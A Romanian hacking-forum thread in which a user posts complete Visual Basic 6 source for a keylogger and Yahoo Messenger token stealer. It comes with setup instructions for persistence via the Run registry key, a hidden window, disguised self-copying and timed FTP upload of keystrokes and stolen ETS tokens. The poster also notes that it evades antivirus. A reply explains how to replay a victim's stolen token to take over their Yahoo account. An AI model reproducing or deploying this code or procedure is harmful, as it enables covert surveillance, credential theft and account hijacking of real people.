Jump to content
parazitul29

[vb6]keylogger+ets stealer

By parazitul29, in Programare

Recommended Posts

parazitul29 Newbie

parazitul29

Posted
Posted (edited)

Developer: parazitul29

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Option Explicit
Dim hOpen As Long, hConnection As Long, hFile As Long
Dim dwType As Long
Dim dwSeman As Long
Dim ftput As Long
 Dim ftput2 As Long








Function scrietext()
Dim filew As String
filew = "c:\test1.txt"
Open filew For Output As #2
Print #2, Text1.Text
Close #2
End Function


Function scriereg()
On Error Resume Next
Dim FileName As String
FileName = "c:\test2.txt"
Dim value As String
Dim valuee As String



Dim shell
Set shell = CreateObject("WScript.Shell")
shell.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SYZTEM", "C:\SYZTEM.exe"
value = shell.regread("HKEY_CURRENT_USER\Software\yahoo\pager\ETS")
valuee = shell.regread("HKEY_CURRENT_USER\Software\yahoo\pager\Yahoo! User ID")
Open FileName For Output As #2
Print #2, "Windows Registry Editor Version 5.00"
Print #2,
Print #2, "[HKEY_CURRENT_USER\Software\yahoo\pager]"

Print #2, Chr(34) + "ETS" + Chr(34) + "=" + Chr(34) + value + Chr(34)
Print #2, Chr(34) + "Yahoo! User ID" + Chr(34) + "=" + Chr(34) + valuee + Chr(34)
Print #2, Chr(34) + "Save Password" + Chr(34) + "=" + "dword:00000001"
Close #2
End Function

Private Sub Form_Load()
On Error Resume Next
scriereg
FileCopy App.Path & "/cool.exe", "C:\ZYSTEM.exe"
End Sub



Private Sub Timer1_Timer()
Dim x, x2, i As Integer

For i = 65 To 90
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)


If x = -32767 Then

If x2 = -32768 Then
 Text1.Text = Text1.Text & Chr(i)
 scrietext
Else: Text1.Text = Text1.Text & Chr(i + 32)
scrietext
End If
End If
Next
For i = 48 To 57

x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)


If x = -32767 Then

Select Case i
Case 48
If x2 = -32768 Then
Text1.Text = Text1.Text & ")"
scrietext
Else: Text1.Text = Text1.Text & "0"
scrietext

End If
Case 49
If x2 = -32768 Then
Text1.Text = Text1.Text & "!"
scrietext
Else: Text1.Text = Text1.Text & "1"
scrietext
End If
Case 50
If x2 = -32768 Then
Text1.Text = Text1.Text & "@"
scrietext
Else: Text1.Text = Text1.Text & "2"
scrietext
End If
Case 51
If x2 = -32768 Then
Text1.Text = Text1.Text & "#"
scrietext
Else: Text1.Text = Text1.Text & "3"
scrietext
End If
Case 52
If x2 = -32768 Then
Text1.Text = Text1.Text & "$"
scrietext
Else: Text1.Text = Text1.Text & "4"
scrietext
End If
Case 53
If x2 = -32768 Then
Text1.Text = Text1.Text & "%"
scrietext
Else: Text1.Text = Text1.Text & "5"
scrietext
End If
Case 54
If x2 = -32768 Then
Text1.Text = Text1.Text & "^"
scrietext
Else: Text1.Text = Text1.Text & "6"
scrietext
End If
Case 55
If x2 = -32768 Then
Text1.Text = Text1.Text & "&"
scrietext
Else: Text1.Text = Text1.Text & "7"
End If
Case 56
If x2 = -32768 Then
Text1.Text = Text1.Text & "*"
scrietext
Else: Text1.Text = Text1.Text & "8"
scrietext
End If
Case 57
If x2 = -32768 Then
Text1.Text = Text1.Text & "("
scrietext
Else: Text1.Text = Text1.Text & "9"
scrietext
End If

End Select
End If



Next



For i = 8 To 192
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)


If x = -32767 Then

Select Case i
Case 8: Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) - 1)
scrietext
Case 9: Text1.Text = Text1.Text & "  Tab "
scrietext
Case 17: Text1.Text = Text1.Text & "  [ Ctrl ] "
scrietext
Case 18: Text1.Text = Text1.Text & "  [Alt]  "
scrietext
Case 19: Text1.Text = Text1.Text & " [ Pause]  "
scrietext
Case 20: Text1.Text = Text1.Text & "  [ Capslock ] "
scrietext
Case 27: Text1.Text = Text1.Text & "  [Esc ] "
scrietext
Case 32: Text1.Text = Text1.Text & " "
scrietext
Case 33: Text1.Text = Text1.Text & " [ PageUp ] "
scrietext
Case 34: Text1.Text = Text1.Text & " [ PageDown ] "
scrietext
Case 35: Text1.Text = Text1.Text & " [ End ] "
scrietext
Case 36: Text1.Text = Text1.Text & " [ Home ] "
scrietext
Case 37: Text1.Text = Text1.Text & " [ Left ] "
scrietext
Case 38: Text1.Text = Text1.Text & " [ Up ] "
scrietext
Case 39: Text1.Text = Text1.Text & " [ Right ] "
scrietext
Case 40: Text1.Text = Text1.Text & " [ Down ] "
scrietext
Case 41: Text1.Text = Text1.Text & " [ Select ] "
scrietext
Case 44: Text1.Text = Text1.Text & " [ PrintScreen ] "
scrietext
Case 45: Text1.Text = Text1.Text & " [ Insert ] "
scrietext
Case 46: Text1.Text = Text1.Text & " [ Del ] "
scrietext
Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, "|", "\")
scrietext
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, "<", ",")
scrietext
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, "_", "-")
scrietext
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, ">", ".")
scrietext
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, "?", "/")
scrietext
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, "+", "=")
scrietext
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, ":", ";")
scrietext
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), "'")
scrietext
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, "{", "[")
scrietext
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]")
scrietext
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, "~", "`")
End Select
End If

Next
End Sub



Private Sub Timer2_Timer()


    Const interval As Long = 4
    Static minutetrecute As Long

    minutetrecute = minutetrecute + 1

    If minutetrecute = interval Then
        Call upload1
        minutetrecute = 0
    End If

End Sub
Private Sub upload1()



hOpen = InternetOpen("for rstcenter", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)

dwType = FTP_TRANSFER_TYPE_ASCII
  dwSeman = 0
  hConnection = 0

  If hConnection <> 0 Then
        InternetCloseHandle hConnection
    End If
    hConnection = InternetConnect(hOpen, "host", INTERNET_INVALID_PORT_NUMBER, _
    "nume", "parola", INTERNET_SERVICE_FTP, dwSeman, 0)




     ftput = FtpPutFile(hConnection, "c:\test1.txt", "/test1.txt", _
         dwType, 0)
        If hConnection <> 0 Then
        InternetCloseHandle hConnection
    End If
    hConnection = 0
End Sub


Private Sub Timer3_Timer()


    Const interval As Long = 2
    Static minutetrecute As Long

    minutetrecute = minutetrecute + 1

    If minutetrecute = interval Then
        Call upload2
        minutetrecute = 0
    End If

End Sub
Private Sub upload2()



hOpen = InternetOpen("for rstcenter", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)


  dwType = FTP_TRANSFER_TYPE_ASCII
  dwSeman = 0
  hConnection = 0

  If hConnection <> 0 Then
        InternetCloseHandle hConnection
    End If
    hConnection = InternetConnect(hOpen, "host", INTERNET_INVALID_PORT_NUMBER, _
    "nume", "parola", INTERNET_SERVICE_FTP, dwSeman, 0)



    ftput2 = FtpPutFile(hConnection, "c:\test2.txt", "/test2.txt", _
         dwType, 0)


        If hConnection <> 0 Then
        InternetCloseHandle hConnection
    End If
    hConnection = 0
End Sub

si mai punem un modul

Option Explicit
Public Const MAX_PATH = 260
Public Const INTERNET_FLAG_RELOAD = &H80000000
Public Const NO_ERROR = 0
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const FILE_ATTRIBUTE_TEMPORARY = &H100
Public Const FILE_ATTRIBUTE_COMPRESSED = &H800
Public Const FILE_ATTRIBUTE_OFFLINE = &H1000
Public Const INTERNET_FLAG_PASSIVE = &H8000000
Public Const FORMAT_MESSAGE_FROM_HMODULE = &H800

Type WIN32_FIND_DATA
        dwFileAttributes As Long
        ftCreationTime As Currency
        ftLastAccessTime As Currency
        ftLastWriteTime As Currency
        nFileSizeHigh As Long
        nFileSizeLow As Long
        dwReserved0 As Long
        dwReserved1 As Long
        cFileName As String * MAX_PATH
        cAlternate As String * 14
End Type


Public Const ERROR_NO_MORE_FILES = 18

Public Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" _
    (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long

Public Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" _
(ByVal hFtpSession As Long, ByVal lpszSearchFile As String, _
      lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long

Declare Function FileTimeToLocalFileTime Lib "kernel32" (lpFileTime As Any, lpLocalFileTime As Any) As Long

Public Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Public Const INTERNET_INVALID_PORT_NUMBER = 0
Public Const INTERNET_SERVICE_FTP = 1
Public Const FTP_TRANSFER_TYPE_BINARY = &H2
Public Const FTP_TRANSFER_TYPE_ASCII = &H1

Public Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" _
    (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean

Public Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" _
   (ByVal hFtpSession As Long, ByVal lpszCurrentDirectory As String, lpdwCurrentDirectory As Long) As Boolean

Public Declare Function InternetWriteFile Lib "wininet.dll" _
(ByVal hFile As Long, ByRef sBuffer As Byte, ByVal lNumBytesToWite As Long, _
dwNumberOfBytesWritten As Long) As Integer

Public Declare Function FtpOpenFile Lib "wininet.dll" Alias "FtpOpenFileA" _
(ByVal hFtpSession As Long, ByVal sBuff As String, ByVal Access As Long, ByVal Flags As Long, ByVal Context As Long) As Long

Public Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" _
(ByVal hFtpSession As Long, ByVal lpszLocalFile As String, _
      ByVal lpszRemoteFile As String, _
      ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean




Public Declare Function FtpDeleteFile Lib "wininet.dll" _
    Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, _
    ByVal lpszFileName As String) As Boolean
Public Declare Function InternetCloseHandle Lib "wininet.dll" _
(ByVal hInet As Long) As Long

Public Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _
(ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _
ByVal sProxyBypass As String, ByVal lFlags As Long) As Long

Public Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" _
(ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, _
ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, _
ByVal lFlags As Long, ByVal lContext As Long) As Long


Public Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" _
(ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _
      ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, ByVal dwFlagsAndAttributes As Long, _
      ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean


Const rDayZeroBias As Double = 109205#   ' Abs(CDbl(#01-01-1601#))
Const rMillisecondPerDay As Double = 10000000# * 60# * 60# * 24# / 10000#

Declare Function InternetGetLastResponseInfo Lib "wininet.dll" _
      Alias "InternetGetLastResponseInfoA" _
       (ByRef lpdwError As Long, _
       ByVal lpszErrorBuffer As String, _
       ByRef lpdwErrorBufferLength As Long) As Boolean

Declare Function FormatMessage Lib "kernel32" Alias "FormatMessageA" _
(ByVal dwFlags As Long, ByVal lpSource As Long, ByVal dwMessageId As Long, _
 ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, _
 Arguments As Long) As Long

Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpLibFileName As String) As Long


Function Win32ToVbTime(ft As Currency) As Date

    Dim ftl As Currency

    ' Call API to convert from UTC time to local time
    If FileTimeToLocalFileTime(ft, ftl) Then

        ' Local time is nanoseconds since 01-01-1601

        ' In Currency that comes out as milliseconds

        ' Divide by milliseconds per day to get days since 1601

        ' Subtract days from 1601 to 1899 to get VB Date equivalent

        Win32ToVbTime = CDate((ftl / rMillisecondPerDay) - rDayZeroBias)

    Else

        MsgBox Err.LastDllError

    End If

End Function


modulul nu este facut de mine,am incercat sa-l fac dar m-am lovit de niste erori si l-am folosit pe asta de pe msdn,desi mi-am dat seama de ce aveam acele erori l-am lasat pe asta ca are mai mult cod de umplutura si din ce am citit pe hackforums cica l-ar face mai nedetectabil

AVG-ul meu nu mi l-a detectat deci cel putin la avg-ul meu e nedetectabil

la mine a mers asa cum trebuie a trimis totul bine pe ftp fara nici-o problema

indicatii cu modificari pentru cei ce nu se descurca

hConnection = InternetConnect(hOpen, "host", INTERNET_INVALID_PORT_NUMBER, _

"nume", "parola", INTERNET_SERVICE_FTP, dwSeman, 0)

aici serverul ftp, numele si parola

trebuie sa modificati de 2 ori

ftput = FtpPutFile(hConnection, "c:\test1.txt", "/test1.txt", _

dwType, 0)

modificati si aici cu fisierul vostru /test1.txt este locatia unde se uploadeaza fila

Private Sub Form_Load()

On Error Resume Next

scriereg

FileCopy App.Path & "/cool.exe", "C:\ZYSTEM.exe"

End Sub

cool.exe este numele exe-ului compilat si c:zYstem unde se autocopiaza cool.exe

deasemenea schimbati locatia lui zystem.exe in c:\windows\system32\zystem.exe si asa recomand si cu fisierele .txt eu le-am denumit pe acolo test1,test2

Const interval As Long = 4

Static minutetrecute As Long

minutetrecute = minutetrecute + 1

If minutetrecute = interval Then

Call upload1

minutetrecute = 0

End If

acesta este timer-ul

modificati aici

Const interval As Long = "cate minute vreti sa fie intre upload-uri)

sunt 2 astfel de timere unul pentru keylogger si unul pentru ets

in total sunt 3 timere timer1 cu interval 1 si timer2 si 3 cu interval 60000

si mai puneti un textbox

si ca fereastra sa fie invizibila dati dubluclick pe form si setati

acolo visible:false si showintaskbar false

cred ca astea sunt toate

de detectie nu stiu decat de avg nu l-am scanat pe nici-un site,nu l-am folosit pe nimeni si nici nu cred ca o sa-l folosesc l-am facut mai mult sa vad daca pot sa fac un keylogger si sa vad cum sta treaba cu visual basic 6 si cu API-urile din windows

*nota

acest program este un exemplu de programare in vb6 eu nu pot fi luat la raspundere pentru actiuniile voastre

Edited by parazitul29
  • Upvote 2
Nytro Mentor

Nytro

Posted
Posted

Felicitari, ma bucur sa vad ca exista si persoane care nu dorm.

O sugestie: foloseste keyboard hook. Gasesti exemplu in sursa de la Digital Keylogger v4.0, e foarte usor de inteles. A, inca ceva. Ar fi bine sa aranjezi putin codul, o sa fie mult mai usor de inteles si modificat. Bravo!

jAsjenel Newbie

jAsjenel

Posted
Posted (edited)

Imi cer scuze pentru Off Topic.

sal am si eu o intrebare ca na is mai prost , eu ii iau la om ETS dar cum il decryptez?

Nu trebuie sa-i dai "decrypt"

asa cum il iau acum il pot inlocui in registri si dupa ma loghez dar parola reala de unde :-??

Nu ai nevoie de parola reala; uite ca sa nu spui ca sunt rau:

-Intri in registry: HKEY_CURRENT_USER\Software\Yahoo\pager

-Daca ETS-ul exista il modifici cu cel pe care il ai de la victima, daca nu click dreapta in "Pager" >> NEW >> String Value: il redenumesti in "ETS", intri in el iar la Value data pui ETS-ul victimei.

-"Yahoo! User ID" daca exista il modifici cu cel al victimei, daca nu faci la fel ca la ETS.

-Intri in Yahoo! Messenger pui ID-ul victimei, la parola pui ce vrei tu, bifezi "Remember my id & password" dai Sign In: iti va da eroare bla bla...

-Iesi din yahoo! Messenger si il pornesti iar... dupa dai doar "Sign In" si iti intra pe ID-ul lui ...

Ti-am scris ca sa intelegi TOTUL.

Mult noroc:)

Edited by jAsjenel

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...